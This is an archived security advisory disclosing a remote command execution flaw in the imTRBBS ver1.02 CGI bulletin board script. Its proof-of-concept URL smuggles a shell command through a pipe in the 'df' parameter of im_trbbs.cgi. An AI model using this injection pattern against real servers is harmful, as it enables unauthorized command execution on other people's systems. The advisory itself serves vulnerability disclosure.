Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web BBS :: etc :: hack7477.htm

imTRBBS(ver1.02) and prior remote command exec.



Original imTRBBS(ver1.02) and prior remote command execution

Original imTRBBS(ver1.02) and prior remote command execution

Developed by: cgi-club
http://http://www.cgi-club.com 
Script Name:imTRSET ver1.02 and prior


An attacker may exploit this vulnerability to execute commands on
the remote host by adding special parameters to im_trbbs.cgi script.

Proof Of Concept:
http://[target]/cgi-bin/im_trbbs.cgi?uid=parameter&df=bbs.dat|ls| 

this hole only in this version, (Original imTRBBS(ver1.02)) above version maybe not vuln..


Solution : None at this time
Risk factor : High
vendor : no respon

by blahplok


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH